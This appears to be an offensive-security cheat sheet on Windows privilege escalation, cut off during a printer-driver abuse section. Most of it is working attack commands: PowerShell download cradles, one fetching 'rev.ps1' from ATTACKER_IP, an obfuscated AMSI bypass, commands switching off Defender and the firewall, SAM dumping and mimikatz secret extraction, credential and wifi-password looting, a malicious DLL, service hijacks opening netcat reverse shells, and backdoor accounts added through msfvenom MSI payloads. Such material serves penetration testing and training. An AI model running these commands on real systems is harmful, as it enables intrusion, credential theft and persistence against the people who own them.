Windows - Privilege Escalation

Summary

Tools

- PowerSploit's PowerUp

```
powershell -Version 2 -nop -exec bypass IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpir
e/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
```

- Watson - Watson is a (.NET 2.0 compliant) C# implementation of Sherlock
- (Deprecated) Sherlock - PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities

```
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File
Sherlock.ps1
```

- BeRoot - Privilege Escalation Project - Windows / Linux / Mac
- Windows-Exploit-Suggester

```
./windows-exploit-suggester.py --update
./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo
win7sp1-systeminfo.txt
```

- windows-privesc-check - Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems
- WindowsExploits - Windows exploits, mostly precompiled. Not being updated.
- WindowsEnum - A Powershell Privilege Escalation Enumeration Script.
- Seatbelt - A C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.

```
Seatbelt.exe -group=all -full
Seatbelt.exe -group=system -outputfile="C:\Temp\system.txt"
Seatbelt.exe -group=remote -computername=dc.theshire.local -
computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-
toes\""
```

- Powerless - Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind
- JAWS - Just Another Windows (Enum) Script

```
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename
JAWS-Enum.txt
```

- winPEAS - Windows Privilege Escalation Awesome Script
- Windows Exploit Suggester - Next Generation (WES-NG)

```
# First obtain systeminfo
systeminfo
systeminfo > systeminfo.txt
# Then feed it to wesng
python3 wes.py --update-wes
python3 wes.py --update
python3 wes.py systeminfo.txt
```

- PrivescCheck - Privilege Escalation Enumeration Script for Windows

```
C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -
Extended"
C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -
Report PrivescCheck_%COMPUTERNAME% -Format TXT,CSV,HTML"
```

Windows Version and Configuration

```
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```

Extract patchs and updates

```
wmic qfe
```

Architecture

```
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
```

List all env variables

```
set
Get-ChildItem Env: | ft Key,Value
```

List all drives

```
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft
Name,Root
```

User Enumeration

Get current username

```
echo %USERNAME% || whoami
$env:username
```

List user privilege

```
whoami /priv
whoami /groups
```

List all users

```
net user
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
```

List logon requirements; useable for bruteforcing

```
net accounts
```

Get details about a user (i.e. administrator, admin, current user)

```
net user administrator
net user admin
net user %USERNAME%
```

List all local groups

```
net localgroup
Get-LocalGroup | ft Name
```

Get details about a group (i.e. administrators)

```
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource
```

Get Domain Controllers

```
nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName
```

Network Enumeration

List all network interfaces, IP, and DNS.

```
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
```

List current routing table

```
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
```

List the ARP table

```
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
```

List all current connections

```
netstat -ano
```

List all network shares

```
net share
powershell Find-DomainShare -ComputerDomain domain.local
```

SNMP Configuration

```
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
```

Antivirus & Detections

Enumerate antivirus on a box with `WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName`

Windows Defender

```
# check status of Defender
PS C:\> Get-MpComputerStatus

# disable scanning all downloaded files and attachments, disable AMSI (reactive)
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
PS C:\> Set-MpPreference -DisableIOAVProtection $true

# disable AMSI (set to 0 to enable)
PS C:\> Set-MpPreference -DisableScriptScanning 1

# exclude a folder
PS C:\> Add-MpPreference -ExclusionPath "C:\Temp"
PS C:\> Add-MpPreference -ExclusionPath "C:\Windows\Tasks"
PS C:\> Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"

# remove signatures (if Internet connection is present, they will be downloaded
again):
PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-
0\MpCmdRun.exe" -RemoveDefinitions -All
PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```

Firewall

List firewall state and current configuration

```
netsh advfirewall firewall dump
# or
netsh firewall show state
netsh firewall show config
```

List firewall's blocked ports

```
$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules |  where {$_.action -eq "0"} |
select name,applicationname,localports
```

Disable firewall

```
# Disable Firewall on Windows 7 via cmd
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server"  /v
fDenyTSConnections /t REG_DWORD /d 0 /f

# Disable Firewall on Windows 7 via Powershell
powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path
"HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" –
Value'`

# Disable Firewall on any windows via cmd
netsh firewall set opmode disable
netsh Advfirewall set allprofiles state off
```

AppLocker Enumeration

- With the GPO
- HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2 (Keys: Appx, Dll, Exe, Msi and Script).
- List AppLocker rules

  ```
  PowerView PS C:\> Get-AppLockerPolicy -Effective | select -ExpandProperty
  RuleCollections
  ```

- Applocker Bypass
  - https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
  - https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md
  - https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md

Powershell

Default powershell locations in a Windows system.

```
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
```

Powershell Constrained Mode

```
# Check if we are in a constrained mode
$ExecutionContext.SessionState.LanguageMode

PS > &{ whoami }
powershell.exe -v 2 -ep bypass -command "IEX (New-Object
Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')"

# PowerShDLL - Powershell with no Powershell.exe via DLL’s
# https://github.com/p3nt4/PowerShdll
ftp> rundll32.exe C:\temp\PowerShdll.dll,main
```

Example of AMSI Bypass.

```
PS C:\>
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'si
InitFailed','NonPu'+'blic,Static').SetValue($null,$true)
```

Default Writeable Folders

```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\Windows\tracing
C:\Windows\Temp
C:\Users\Public
```

EoP - Looting for passwords

SAM and SYSTEM files

The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.

```
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
```

Generate a hash file for John using `pwdump` or `samdump2`.

```
pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt
```

Either crack it with `john -format=NT /root/sam.txt` or use Pass-The-Hash.

LAPS Settings

Extract `HKLM\Software\Policies\Microsoft Services\AdmPwd` from Windows Registry.

- LAPS Enabled: AdmPwdEnabled
- LAPS Admin Account Name: AdminAccountName
- LAPS Password Complexity: PasswordComplexity
- LAPS Password Length: PasswordLength
- LAPS Expiration Protection Enabled: PwdExpirationProtectionEnabled

HiveNightmare

> CVE-2021–36934 allows you to retrieve all registry hives (SAM,SECURITY,SYSTEM) in Windows 10 and 11 as a non-administrator user

Check for the vulnerability using `icacls`

```
C:\Windows\System32> icacls config\SAM
config\SAM BUILTIN\Administrators:(I)(F)
           NT AUTHORITY\SYSTEM:(I)(F)
           BUILTIN\Users:(I)(RX)    <-- this is wrong - regular users should not have
read access!
```

Then exploit the CVE by requesting the shadowcopies on the filesystem and reading the hives from it.

```
mimikatz> token::whoami /full

# List shadow copies available
mimikatz> misc::shadowcopies

# Extract account from SAM databases
mimikatz> lsadump::sam /system:\\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM

# Extract secrets from SECURITY
mimikatz> lsadump::secrets /system:\\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM
/security:\\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY
```

Search for file contents

```
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
```

Search for a file with a certain filename

```
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
```

Search the registry for key names and passwords

```
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows
Autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul |
findstr "DefaultUserName DefaultDomainName DefaultPassword"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy
credentials
reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

Read a value of a certain sub key

```
REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList
```

Passwords in unattend.xml

Location of the unattend.xml files.

```
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```

Display the content of these files with `dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul`.

Example content

```
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35"
language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
    <AutoLogon>
     <Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
     <Enabled>true</Enabled>
```

```
      <Username>Administrateur</Username>
     </AutoLogon>

     <UserAccounts>
      <LocalAccounts>
       <LocalAccount wcm:action="add">
        <Password>*SENSITIVE*DATA*DELETED*</Password>
        <Group>administrators;users</Group>
        <Name>Administrateur</Name>
       </LocalAccount>
      </LocalAccounts>
     </UserAccounts>
```

Unattend credentials are stored in base64 and can be decoded manually with base64.

```
$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo="  | base64 -d
SecretSecurePassword1234*
```

The Metasploit module `post/windows/gather/enum_unattend` looks for these files.

IIS Web config

```
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction
SilentlyContinue
```

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
```

Other files

```
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*
```

```
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b
```

Wifi passwords

Find AP SSID

```
netsh wlan show profile
```

Get Cleartext Pass

```
netsh wlan show profile <SSID> key=clear
```

Oneliner method to extract wifi passwords from all the access point.

```
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find
"Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear |
findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
```

Sticky Notes passwords

The sticky notes app stores it's content in a sqlite db located at `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`

Passwords stored in services

Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher

```
https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
```

Passwords stored in Key Manager

:warning: This software will display its output in a GUI

```
rundll32 keymgr,KRShowKeyMgr
```

Powershell History

Disable Powershell history: `Set-PSReadlineOption -HistorySaveStyle SaveNothing`.

```
type
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_his
tory.txt
type
C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_
history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
```

Powershell Transcript

```
C:\Users\<USERNAME>\Documents\PowerShell_transcript.<HOSTNAME>.<RANDOM>.
<TIMESTAMP>.txt
C:\Transcripts\<DATE>\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt
```

Password in Alternate Data Stream

```
PS > Get-Item -path flag.txt -Stream *
PS > Get-Content -path flag.txt -Stream Flag
```

EoP - Processes Enumeration and Tasks

- What processes are running?

```
tasklist /v
net start
sc query
Get-Service
Get-Process
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike
"svchost*"} | Select Name, Handle, @{Label="Owner";Expression=
{$_.GetOwner().User}} | ft -AutoSize
```

- Which processes are running as "system"

```
tasklist /v /fi "username eq system"
```

- Do you have powershell magic?

```
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v
PowerShellVersion
```

- List installed programs

```
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft
Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
```

- List services

```
net start
wmic service list brief
tasklist /SVC
```

- Enumerate scheduled tasks

```
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task
To Run" | grep -B 1 SYSTEM
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft
TaskName,TaskPath,State
```

- Startup tasks

```
wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
```

EoP - Incorrect permissions in services

> A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.

Often, services are pointing to writeable locations:

- Orphaned installs, not installed anymore but still exist in startup
- DLL Hijacking

```
# find missing DLL
- Find-PathDLLHijack PowerUp.ps1
- Process Monitor : check for "Name Not Found"

# compile a malicious dll
- For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o
output.dll"
- For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o
output.dll"

# content of windows_dll.c
```

```
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt");
        ExitProcess(0);
    }
    return TRUE;
}
```

- PATH directories with weak permissions

```
$ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i
"pathname"^|find /i /v "system32"') do @echo %a >>
c:\windows\temp\permissions.txt
$ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe
/c icacls "%a"

$ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt
FOR /F %i in (Servicenames.txt) DO echo %i
type Servicenames.txt
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >>
path.txt
```

Alternatively you can use the Metasploit exploit : `exploit/windows/local/service_permissions`

Note to check file permissions you can use `cacls` and `icacls`

> icacls (Windows Vista +)
>
> cacls (Windows XP)

You are looking for `BUILTIN\Users:(F)`(Full access), `BUILTIN\Users:(M)`(Modify access) or `BUILTIN\Users:(W)` (Write-only access) in the output.

Example with Windows 10 - CVE-2019-1322 UsoSvc

Prerequisite: Service account

```
PS C:\Windows\system32> sc.exe stop UsoSvc
PS C:\Windows\system32> sc.exe config usosvc
binPath="C:\Windows\System32\spool\drivers\color\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-
svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "cmd \c C:\Users\nc.exe
10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe qc usosvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: usosvc
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e
cmd.exe
```

```
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Update Orchestrator Service
        DEPENDENCIES       : rpcss
        SERVICE_START_NAME : LocalSystem

PS C:\Windows\system32> sc.exe start UsoSvc
```

Example with Windows XP SP1 - upnphost

```
# NOTE: spaces are mandatory for this exploit to work !
sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.0.73 4343 -e 
C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
sc config upnphost depend= ""
net start upnphost
```

If it fails because of a missing dependency, try the following commands.

```
sc config SSDPSRV start=auto
net start SSDPSRV
net stop upnphost
net start upnphost

sc config upnphost depend=""
```

Using accesschk from Sysinternals or accesschk-XP.exe - github.com/phackt

```
$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula
RW SSDPSRV
        SERVICE_ALL_ACCESS
RW upnphost
        SERVICE_ALL_ACCESS

$ accesschk.exe -ucqv upnphost
upnphost
  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\Authenticated Users
        SERVICE_ALL_ACCESS
  RW BUILTIN\Power Users
        SERVICE_ALL_ACCESS

$ sc config <vuln-service> binpath="net user backdoor backdoor123 /add"
$ sc config <vuln-service> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e 
C:\WINDOWS\System32\cmd.exe"
$ sc stop <vuln-service>
$ sc start <vuln-service>
$ sc config <vuln-service> binpath="net localgroup Administrators backdoor /add"
$ sc stop <vuln-service>
$ sc start <vuln-service>
```

EoP - Windows Subsystem for Linux (WSL)

Technique borrowed from Warlockobama's tweet

> With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Don't know the root password? No problem just set the default user to root W/ .exe --default-user root. Now start your bind shell or reverse.

```
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
```

Binary `bash.exe` can also be found in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`

Alternatively you can explore the `WSL` filesystem in the folder `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\`

EoP - Unquoted Service Paths

The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.

```
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i
/v "C:\Windows\\" |findstr /i /v """

wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\"
|findstr /i /v """

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where
{$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -
notlike '"*'} | select PathName,DisplayName,Name
```

- Metasploit exploit : `exploit/windows/local/trusted_service_path`
- PowerUp exploit

```
# find the vulnerable application
C:\> powershell.exe -nop -exec bypass "IEX (New-Object
Net.WebClient).DownloadString('https://your-site.com/PowerUp.ps1'); Invoke-
AllChecks"

...
[*] Checking for unquoted service paths...
ServiceName    : BBSvc
Path           : C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exe
```

```
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path <HijackPath>
...

# automatic exploit
Invoke-ServiceAbuse -Name [SERVICE_NAME] -Command "..\..\Users\Public\nc.exe
10.10.10.10 4444 -e cmd.exe"
```

Example

For `C:\Program Files\something\legit.exe`, Windows will try the following paths first:

- `C:\Program.exe`
- `C:\Program Files.exe`

EoP - $PATH Interception

Requirements:

- PATH contains a writeable folder with low privileges.
- The writeable folder is *before* the folder that contains the legitimate binary.

EXAMPLE:

```
# List contents of the PATH environment variable
# EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32
$env:Path

# See permissions of the target folder
# EXAMPLE OUTPUT: BUILTIN\Users: GR,GW
icacls.exe "C:\Program Files\nodejs\"

# Place our evil-file in that folder.
copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"
```

Because (in this example) "C:\Program Files\nodejs" is *before* "C:\WINDOWS\system32" on the PATH variable, the next time the user runs "cmd.exe", our evil version in the nodejs folder will run, instead of the legitimate one in the system32 folder.

EoP - Named Pipes

1. Find named pipes: `[System.IO.Directory]::GetFiles("\\.\pipe\")`
2. Check named pipes DACL: `pipesec.exe <named_pipe>`
3. Reverse engineering software
4. Send data throught the named pipe : `program.exe >\\.\pipe\StdOutPipe 2>\\.\pipe\StdErrPipe`

EoP - Kernel Exploitation

List of exploits kernel : https://github.com/SecWiki/windows-kernel-exploits

#Security Bulletin   #KB   #Description   #Operating System

- MS17-017   [KB4013081]   [GDI Palette Objects Local Privilege Escalation]   (windows 7/8)

- CVE-2017-8464 [LNK Remote Code Execution Vulnerability] (windows 10/8.1/7/2016/2010/2008)
- CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008)
- CVE-2018-0833 [SMBv3 Null Pointer Dereference Denial of Service] (Windows 8.1/Server 2012 R2)
- CVE-2018-8120 [Win32k Elevation of Privilege Vulnerability] (Windows 7 SP1/2008 SP2,2008 R2 SP1)
- MS17-010 [KB4013389] [Windows Kernel Mode Drivers] (windows 7/2008/2003/XP)
- MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016)
- MS16-111 [KB3186973] [kernel api] (Windows 10 10586 (32/64)/8.1)
- MS16-098 [KB3178466] [Kernel Driver] (Win 8.1)
- MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012)
- MS16-034 [KB3143145] [Kernel Driver] (2008/7/8/10/2012)
- MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012)
- MS16-016 [KB3136041] [WebDAV] (2008/Vista/7)
- MS16-014 [K3134228] [remote code execution] (2008/Vista/7)
  ...
- MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)

To cross compile a program from Kali, use the following command.

```
Kali> i586-mingw32msvc-gcc -o adduser.exe useradd.c
```

EoP - AlwaysInstallElevated

Check if these registry values are set to "1".

```
$ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
$ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated

$ Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer
$ Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer
```

Then create an MSI package and install it.

```
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi-nouac -o evil.msi
$ msiexec /quiet /qn /i C:\evil.msi
```

Technique also available in :

- Metasploit : `exploit/windows/local/always_install_elevated`
- PowerUp.ps1 : `Get-RegistryAlwaysInstallElevated`, `Write-UserAddMSI`

EoP - Insecure GUI apps

Application running as SYSTEM allowing an user to spawn a CMD, or browse directories.

Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"

EoP - Evaluating Vulnerable Drivers

Look for vuln drivers loaded, we often don't spend enough time looking at this:

```
# https://github.com/matterpreter/OffensiveCSharp/tree/master/DriverQuery

PS C:\Users\Swissky> driverquery.exe /fo table
Module Name  Display Name           Driver Type   Link Date
============ ====================== ============= ======================
1394ohci     1394 OHCI Compliant Ho Kernel        12/10/2006 4:44:38 PM
3ware        3ware                  Kernel        5/18/2015 6:28:03 PM
ACPI         Microsoft ACPI Driver  Kernel        12/9/1975 6:17:08 AM
AcpiDev      ACPI Devices driver    Kernel        12/7/1993 6:22:19 AM
acpiex       Microsoft ACPIEx Drive Kernel        3/1/2087 8:53:50 AM
acpipagr     ACPI Processor Aggrega Kernel        1/24/2081 8:36:36 AM
AcpiPmi      ACPI Power Meter Drive Kernel        11/19/2006 9:20:15 PM
acpitime     ACPI Wake Alarm Driver Kernel        2/9/1974 7:10:30 AM
ADP80XX      ADP80XX                Kernel        4/9/2015 4:49:48 PM
<SNIP>

PS C:\Users\Swissky> DriverQuery.exe --no-msft
[+] Enumerating driver services...
[+] Checking file signatures...
Citrix USB Filter Driver
    Service Name: ctxusbm
    Path: C:\Windows\system32\DRIVERS\ctxusbm.sys
    Version: 14.11.0.138
    Creation Time (UTC): 17/05/2018 01:20:50
    Cert Issuer: CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust
Network, O=Symantec Corporation, C=US
    Signer: CN="Citrix Systems, Inc.", OU=XenApp(ClientSHA256), O="Citrix Systems,
Inc.", L=Fort Lauderdale, S=Florida, C=US
<SNIP>
```

EoP - Printers

Universal Printer

Create a Printer

```
$printerName     = 'Universal Priv Printer'
$system32        = $env:systemroot + '\system32'
$drivers         = $system32 + '\spool\drivers'
$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Print\Printers\' + $printerName

Copy-Item -Force -Path ($system32 + '\mscms.dll')             -Destination ($system32
+ '\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll'   -Destination ($drivers
+ '\x64\3\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destination ($drivers
+ '\W32X86\3\mimispool.dll')

Add-PrinterDriver -Name       'Generic / Text Only'
Add-Printer       -DriverName 'Generic / Text Only' -Name $printerName -PortName
```

```
'FILE:' -Shared

New-Item         -Path ($RegStartPrinter + '\CopyFiles')        | Out-Null
New-Item         -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   -Name 'Directory' -
PropertyType 'String'      -Value 'x64\3'           | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   -Name 'Files'     -
PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   -Name 'Module'    -
PropertyType 'String'      -Value 'mscms.dll'       | Out-Null
New-Item         -Path ($RegStartPrinter + '\CopyFiles\Litchi') | Out-Null
